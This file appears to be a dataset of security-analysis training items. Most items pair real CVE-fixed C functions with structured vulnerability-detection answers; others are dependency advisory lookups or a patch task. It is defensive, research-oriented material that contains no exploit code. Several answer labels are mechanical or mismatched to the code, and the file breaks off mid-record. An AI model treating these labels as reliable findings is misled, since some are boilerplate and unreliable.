"ast_vuln_detection", "language": "c", "cwe": "CWE-125", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "void skb_complete_tx_timestamp(struct sk_buff *skb,\n\t\t\t struct skb_shared_hwtstamps *hwtstamps)\n{\n\tstruct sock *sk = skb->sk;\n\n\tif (!skb_may_tx_timestamp(sk, false))\n\t\treturn;\n\n\t/* Take a reference to prevent skb_orphan() from freeing the socket,\n\t * but only if the socket refcount is not zero.\n \t */\n \tif (likely(atomic_inc_not_zero(&sk->sk_refcnt))) {\n \t\t*skb_hwtstamps(skb) = *hwtstamps;\n\t\t__skb_complete_tx_timestamp(skb, sk, SCM_TSTAMP_SND);\n \t\tsock_put(sk);\n \t}\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-125\",\n \"cwe_name\": \"Out-of-bounds Read\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2017-7277\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 14\n ],\n \"sink_node_type\": \"if_statement\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"if_statement\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 12,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 12,\n \"col\": 5\n },\n {\n \"token\": \"likely\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 6\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 12,\n \"col\": 12\n },\n {\n \"token\": \"atomic_inc_not_zero\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 13\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 12,\n \"col\": 32\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 12,\n \"col\": 33\n },\n {\n \"token\": \"sk\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 34\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 12,\n \"col\": 36\n },\n {\n \"token\": \"sk_refcnt\",\n \"ast_node\": \"field_identifier\",\n \"line\": 12,\n \"col\": 38\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 12,\n \"col\": 47\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 12,\n \"col\": 48\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 12,\n \"col\": 49\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 12,\n \"col\": 51\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 13,\n \"col\": 3\n },\n {\n \"token\": \"skb_hwtstamps\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 13,\n \"col\": 17\n },\n {\n \"token\": \"skb\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 18\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 13,\n \"col\": 21\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 13,\n \"col\": 23\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 13,\n \"col\": 25\n },\n {\n \"token\": \"hwtstamps\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 26\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 13,\n \"col\": 35\n },\n {\n \"token\": \"__skb_complete_tx_timestamp\",\n \"ast_node\": \"identifier\",\n \"line\": 14,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 14,\n \"col\": 29\n },\n {\n \"token\": \"skb\",\n \"ast_node\": \"identifier\",\n \"line\": 14,\n \"col\": 30\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 14,\n \"col\": 33\n },\n {\n \"token\": \"sk\",\n \"ast_node\": \"identifier\",\n \"line\": 14,\n \"col\": 35\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 14,\n \"col\": 37\n },\n {\n \"token\": \"SCM_TSTAMP_SND\",\n \"ast_node\": \"identifier\",\n \"line\": 14,\n \"col\": 39\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 14,\n \"col\": 53\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 14,\n \"col\": 54\n },\n {\n \"token\": \"sock_put\",\n \"ast_node\": \"identifier\",\n \"line\": 15,\n \"col\": 3\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 15,\n \"col\": 11\n },\n {\n \"token\": \"sk\",\n \"ast_node\": \"identifier\",\n \"line\": 15,\n \"col\": 12\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 15,\n \"col\": 14\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 15,\n \"col\": 15\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 16,\n \"col\": 2\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-20", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": " static MagickBooleanType ConcatenateImages(int argc,char **argv,\n ExceptionInfo *exception )\n {\n FILE\n *input,\n *output;\n \n int\n c;\n \n register ssize_t\n i;\n \n if (ExpandFilenames(&argc,&argv) == MagickFalse)\n ThrowFileException(exception,ResourceLimitError,\"MemoryAllocationFailed\",\n GetExceptionMessage(errno));\n output=fopen_utf8(argv[argc-1],\"wb\");\n if (output == (FILE *) NULL) {\n ThrowFileException(exception,FileOpenError,\"UnableToOpenFile\",argv[argc-1]);\n return(MagickFalse);\n }\n for (i=2; i < (ssize_t) (argc-1); i++) {\n#if 0\n fprintf(stderr, \"DEBUG: Concatenate Image: \\\"%s\\\"\\n\", argv[i]);\n#endif\n input=fopen_utf8(argv[i],\"rb\");\n if (input == (FILE *) NULL) {\n ThrowFileException(exception,FileOpenError,\"UnableToOpenFile\",argv[i]);\n continue;\n }\n for (c=fgetc(input); c != EOF; c=fgetc(input))\n (void) fputc((char) c,output);\n (void) fclose(input);\n (void) remove_utf8(argv[i]);\n }\n (void) fclose(output);\n return(MagickTrue);\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-20\",\n \"cwe_name\": \"Improper Input Validation\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-10060\",\n \"project\": \"ImageMagick\",\n \"vulnerable_lines\": [\n 2,\n 16,\n 18,\n 19,\n 20,\n 21,\n 22,\n 23,\n 24,\n 25,\n 27,\n 32,\n 37\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"static\",\n \"ast_node\": \"static\",\n \"line\": 1,\n \"col\": 1\n },\n {\n \"token\": \"MagickBooleanType\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 8\n },\n {\n \"token\": \"ConcatenateImages\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 26\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 43\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 44\n },\n {\n \"token\": \"argc\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 48\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 52\n },\n {\n \"token\": \"char\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 53\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 58\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 59\n },\n {\n \"token\": \"argv\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 60\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 64\n },\n {\n \"token\": \"ExceptionInfo\",\n \"ast_node\": \"type_identifier\",\n \"line\": 2,\n \"col\": 5\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 2,\n \"col\": 19\n },\n {\n \"token\": \"exception\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 20\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 2,\n \"col\": 30\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 3,\n \"col\": 1\n },\n {\n \"token\": \"FILE\",\n \"ast_node\": \"type_identifier\",\n \"line\": 4,\n \"col\": 3\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 5,\n \"col\": 5\n },\n {\n \"token\": \"input\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 6\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 5,\n \"col\": 11\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 6,\n \"col\": 5\n },\n {\n \"token\": \"output\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 6\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 12\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 8,\n \"col\": 3\n },\n {\n \"token\": \"c\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 5\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 9,\n \"col\": 6\n },\n {\n \"token\": \"register\",\n \"ast_node\": \"register\",\n \"line\": 11,\n \"col\": 2\n },\n {\n \"token\": \"ssize_t\",\n \"ast_node\": \"primitive_type\",\n \"line\": 11,\n \"col\": 11\n },\n {\n \"token\": \"i\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 4\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 12,\n \"col\": 5\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 14,\n \"col\": 3\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 14,\n \"col\": 6\n },\n {\n \"token\": \"ExpandFilenames\",\n \"ast_node\": \"identifier\",\n \"line\": 14,\n \"col\": 7\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 14,\n \"col\": 22\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 14,\n \"col\": 23\n },\n {\n \"token\": \"argc\",\n \"ast_node\": \"identifier\",\n \"line\": 14,\n \"col\": 24\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 14,\n \"col\": 28\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 14,\n \"col\": 29\n },\n {\n \"token\": \"argv\",\n \"ast_node\": \"identifier\",\n \"line\": 14,\n \"col\": 30\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 14,\n \"col\": 34\n },\n {\n \"token\": \"==\",\n \"ast_node\": \"==\",\n \"line\": 14,\n \"col\": 36\n },\n {\n \"token\": \"MagickFalse\",\n \"ast_node\": \"identifier\",\n \"line\": 14,\n \"col\": 39\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 14,\n \"col\": 50\n },\n {\n \"token\": \"ThrowFileException\",\n \"ast_node\": \"identifier\",\n \"line\": 15,\n \"col\": 5\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 15,\n \"col\": 23\n },\n {\n \"token\": \"exception\",\n \"ast_node\": \"identifier\",\n \"line\": 15,\n \"col\": 24\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 15,\n \"col\": 33\n },\n {\n \"token\": \"ResourceLimitError\",\n \"ast_node\": \"identifier\",\n \"line\": 15,\n \"col\": 34\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 15,\n \"col\": 52\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 15,\n \"col\": 53\n },\n {\n \"token\": \"MemoryAllocationFailed\",\n \"ast_node\": \"string_content\",\n \"line\": 15,\n \"col\": 54\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 15,\n \"col\": 76\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 15,\n \"col\": 77\n },\n {\n \"token\": \"GetExceptionMessage\",\n \"ast_node\": \"identifier\",\n \"line\": 16,\n \"col\": 9\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 16,\n \"col\": 28\n },\n {\n \"token\": \"errno\",\n \"ast_node\": \"identifier\",\n \"line\": 16,\n \"col\": 29\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 16,\n \"col\": 34\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 16,\n \"col\": 35\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 16,\n \"col\": 36\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: mlflow\nInstalled version: 2.14.0rc0\nSummary: MLflow: trace API endpoints lack proper authorization validators", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"PYSEC-2026-3686\",\n \"cve\": \"CVE-2026-8147\",\n \"aliases\": [\n \"BIT-mlflow-2026-8147\",\n \"CVE-2026-8147\",\n \"GHSA-2cm6-r77w-6g96\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"PyPI\",\n \"package\": \"mlflow\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=2.14.0rc0, <3.13.0rc0\",\n \"fixed_version\": \"3.13.0rc0\",\n \"finding\": \"MLflow: trace API endpoints lack proper authorization validators\",\n \"remediation\": \"Upgrade mlflow to 3.13.0rc0 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-20", "source": "DiverseVul (real labeled functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static int check_mtab(const char *progname, const char *devname,\n\t\t const char *dir)\n{\n\tif (check_newline(progname, devname) == -1 ||\n\t check_newline(progname, dir) == -1)\n\t\treturn EX_USAGE;\n\treturn 0;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-20\",\n \"cwe_name\": \"Improper Input Validation\",\n \"severity\": \"high\",\n \"project\": \"cifs-utils\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Debian:12\nManifest: distro package manager (apt/apk)\nPackage: libtpms\nInstalled version: 0.8.0~dev1-1\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Debian:12\",\n \"package\": \"libtpms\",\n \"installed_version\": \"0.8.0~dev1-1\",\n \"note\": \"libtpms 0.8.0~dev1-1 is at or above the fixed version for DEBIAN-CVE-2021-3505; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int can_open_delegated(struct nfs_delegation *delegation, mode_t open_flags)\n {\n\tif ((delegation->type & open_flags) != open_flags)\n \t\treturn 0;\n \tif (test_bit(NFS_DELEGATION_NEED_RECLAIM, &delegation->flags))\n \t\treturn 0;\n \tnfs_mark_delegation_referenced(delegation);\n \treturn 1;\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"severity\": \"high\",\n \"cve\": \"CVE-2011-4324\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 3\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"static\",\n \"ast_node\": \"static\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 7\n },\n {\n \"token\": \"can_open_delegated\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 11\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 29\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 30\n },\n {\n \"token\": \"nfs_delegation\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 37\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 52\n },\n {\n \"token\": \"delegation\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 53\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 63\n },\n {\n \"token\": \"mode_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 65\n },\n {\n \"token\": \"open_flags\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 72\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 82\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 1\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 3,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 5\n },\n {\n \"token\": \"delegation\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 6\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 3,\n \"col\": 16\n },\n {\n \"token\": \"type\",\n \"ast_node\": \"field_identifier\",\n \"line\": 3,\n \"col\": 18\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 3,\n \"col\": 23\n },\n {\n \"token\": \"open_flags\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 25\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 35\n },\n {\n \"token\": \"!=\",\n \"ast_node\": \"!=\",\n \"line\": 3,\n \"col\": 37\n },\n {\n \"token\": \"open_flags\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 40\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 50\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 4,\n \"col\": 3\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 4,\n \"col\": 10\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 11\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 5,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 5,\n \"col\": 5\n },\n {\n \"token\": \"test_bit\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 6\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 5,\n \"col\": 14\n },\n {\n \"token\": \"NFS_DELEGATION_NEED_RECLAIM\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 15\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 5,\n \"col\": 42\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 5,\n \"col\": 44\n },\n {\n \"token\": \"delegation\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 45\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 5,\n \"col\": 55\n },\n {\n \"token\": \"flags\",\n \"ast_node\": \"field_identifier\",\n \"line\": 5,\n \"col\": 57\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 62\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 63\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 6,\n \"col\": 3\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 6,\n \"col\": 10\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 11\n },\n {\n \"token\": \"nfs_mark_delegation_referenced\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 7,\n \"col\": 32\n },\n {\n \"token\": \"delegation\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 33\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 7,\n \"col\": 43\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 44\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 8,\n \"col\": 2\n },\n {\n \"token\": \"1\",\n \"ast_node\": \"number_literal\",\n \"line\": 8,\n \"col\": 9\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 8,\n \"col\": 10\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 9,\n \"col\": 1\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-120", "source": "DiverseVul (real labeled functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static int fuse_notify_inval_entry(struct fuse_conn *fc, unsigned int size,\n\t\t\t\t struct fuse_copy_state *cs)\n{\n\tstruct fuse_notify_inval_entry_out outarg;\n\tint err = -ENOMEM;\n\tchar *buf;\n\tstruct qstr name;\n\n\tbuf = kzalloc(FUSE_NAME_MAX + 1, GFP_KERNEL);\n\tif (!buf)\n\t\tgoto err;\n\n\terr = -EINVAL;\n\tif (size < sizeof(outarg))\n\t\tgoto err;\n\n\terr = fuse_copy_one(cs, &outarg, sizeof(outarg));\n\tif (err)\n\t\tgoto err;\n\n\terr = -ENAMETOOLONG;\n\tif (outarg.namelen > FUSE_NAME_MAX)\n\t\tgoto err;\n\n\tname.name = buf;\n\tname.len = outarg.namelen;\n\terr = fuse_copy_one(cs, buf, outarg.namelen + 1);\n\tif (err)\n\t\tgoto err;\n\tfuse_copy_finish(cs);\n\tbuf[outarg.namelen] = 0;\n\tname.hash = full_name_hash(name.name, name.len);\n\n\tdown_read(&fc->killsb);\n\terr = -ENOENT;\n\tif (fc->sb)\n\t\terr = fuse_reverse_inval_entry(fc->sb, outarg.parent, &name);\n\tup_read(&fc->killsb);\n\tkfree(buf);\n\treturn err;\n\nerr:\n\tkfree(buf);\n\tfuse_copy_finish(cs);\n\treturn err;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-120\",\n \"cwe_name\": \"Classic Buffer Overflow\",\n \"severity\": \"high\",\n \"project\": \"linux\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: datasette\nInstalled version: 01e0558825b8f7ec17d3b691aa072daf122fcc74\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"PyPI\",\n \"package\": \"datasette\",\n \"installed_version\": \"01e0558825b8f7ec17d3b691aa072daf122fcc74\",\n \"note\": \"datasette 01e0558825b8f7ec17d3b691aa072daf122fcc74 is at or above the fixed version for PYSEC-2023-154; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-189", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "int sysMapFile(const char* fn, MemMapping* pMap)\n{\n memset(pMap, 0, sizeof(*pMap));\n\n if (fn && fn[0] == '@') {\n FILE* mapf = fopen(fn+1, \"r\");\n if (mapf == NULL) {\n LOGV(\"Unable to open '%s': %s\\n\", fn+1, strerror(errno));\n return -1;\n }\n\n \n if (sysMapBlockFile(mapf, pMap) != 0) {\n LOGW(\"Map of '%s' failed\\n\", fn);\n return -1;\n }\n \n fclose(mapf);\n } else {\n int fd = open(fn, O_RDONLY, 0);\n if (fd < 0) {\n LOGE(\"Unable to open '%s': %s\\n\", fn, strerror(errno));\n return -1;\n }\n\n if (sysMapFD(fd, pMap) != 0) {\n LOGE(\"Map of '%s' failed\\n\", fn);\n close(fd);\n return -1;\n }\n\n close(fd);\n }\n return 0;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-189\",\n \"cwe_name\": \"Numeric Errors\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-0849\",\n \"project\": \"Android\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-399", "source": "BigVul (real CVE fix pairs)", "instruction": "Remediate the vulnerability in this C function. Return the fixed code and a short rationale as JSON.", "input": " bool asn1_read_BOOLEAN_context(struct asn1_data *data, bool *v, int context)\n {\n uint8_t tmp = 0;\n asn1_start_tag(data, ASN1_CONTEXT_SIMPLE(context));\n asn1_read_uint8(data, &tmp);\n if (tmp == 0xFF) {\n *v = true;\n } else {\n *v = false;\n }\n asn1_end_tag(data);\n return !data->has_error;\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-399\",\n \"cwe_name\": \"Resource Management Errors\",\n \"cve\": \"CVE-2015-7540\",\n \"fixed_code\": \" bool asn1_read_BOOLEAN_context(struct asn1_data *data, bool *v, int context)\\n {\\n uint8_t tmp = 0;\\n if (!asn1_start_tag(data, ASN1_CONTEXT_SIMPLE(context))) return false;\\n *v = false;\\n if (!asn1_read_uint8(data, &tmp)) return false;\\n if (tmp == 0xFF) {\\n *v = true;\\n }\\n return asn1_end_tag(data);\\n }\\n\",\n \"change_summary\": \"Security fix applied to the vulnerable function.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "cmsBool AllocElem(cmsContext ContextID, _cmsDICelem* e, cmsUInt32Number Count)\n{\n e->Offsets = (cmsUInt32Number *) _cmsCalloc(ContextID, Count, sizeof(cmsUInt32Number *));\n if (e->Offsets == NULL) return FALSE;\n\n e->Sizes = (cmsUInt32Number *) _cmsCalloc(ContextID, Count, sizeof(cmsUInt32Number *));\n if (e->Sizes == NULL) {\n\n _cmsFree(ContextID, e -> Offsets);\n return FALSE;\n }\n\n e ->ContextID = ContextID;\n return TRUE;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"severity\": \"high\",\n \"project\": \"Little-CMS\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Debian:10\nManifest: distro package manager (apt/apk)\nPackage: lxml\nInstalled version: 